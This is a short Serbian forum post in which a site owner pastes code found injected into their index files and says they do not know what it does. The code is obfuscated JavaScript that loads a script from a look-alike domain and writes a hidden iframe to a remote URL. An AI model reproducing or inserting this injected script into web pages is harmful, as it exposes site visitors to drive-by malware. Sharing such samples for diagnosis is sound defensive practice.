U mom slucaju (novootkriveno danas) su se sadrzaji index fajlova zamenjivali ovim kodom:
Kôd:
<script src="http://safe.google-signature.com/webanalytics.js"></script><script>function v47f5126c27ffd(v47f5126c28008){ function v47f5126c28014 () {return 16;} return(parseInt(v47f5126c28008,v47f5126c28014()));}function v47f5126c28048(v47f5126c2804e){ var v47f5126c28060=2; var v47f5126c28053='';for(v47f5126c28059=0; v47f5126c28059<v47f5126c2804e.length; v47f5126c28059+=v47f5126c28060){ v47f5126c28053+=(String.fromCharCode(v47f5126c27ffd(v47f5126c2804e.substr(v47f5126c28059, v47f5126c28060))));}return v47f5126c28053;} document.write(v47f5126c28048('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D6261333537643531207372633D5C27687474703A2F2F75726C2F3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A313634333733292B2733663235393862315C272077696474683D353631206865696768743D323933207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script>
Nemam pojma sta ovo radi.